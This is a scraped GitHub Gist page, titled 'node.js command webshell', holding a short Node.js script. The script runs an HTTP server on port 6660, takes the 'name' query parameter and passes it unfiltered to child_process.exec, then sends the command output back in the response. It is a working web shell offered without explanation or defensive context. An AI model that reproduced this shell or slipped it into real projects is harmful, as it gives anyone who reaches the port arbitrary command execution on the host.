-
-
Save helcaraxeals/200416d0c077247e88e6119d7d4705ce to your computer and use it in GitHub Desktop.
node.js command webshell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var sys = require('sys'), | |
exec = require('child_process').exec, | |
child, | |
http = require('http'); | |
child = function(res, cmd) { | |
exec(cmd, | |
function (error, stdout, stderr) { | |
res.end(stdout); | |
if (error !== null) { | |
console.log('exec error: ' + error); | |
} | |
}); | |
}; | |
http.createServer(function (req, res) { | |
res.writeHead(200, {'Content-Type': 'text/plain'}); | |
var parsedRequest = require('url').parse(req.url, true); | |
var cmd = parsedRequest.query['name']; | |
if (cmd != undefined) | |
{ | |
console.log("[cmd] " + cmd); | |
child(res, cmd); | |
} | |
}).listen('6660', '127.0.0.1'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment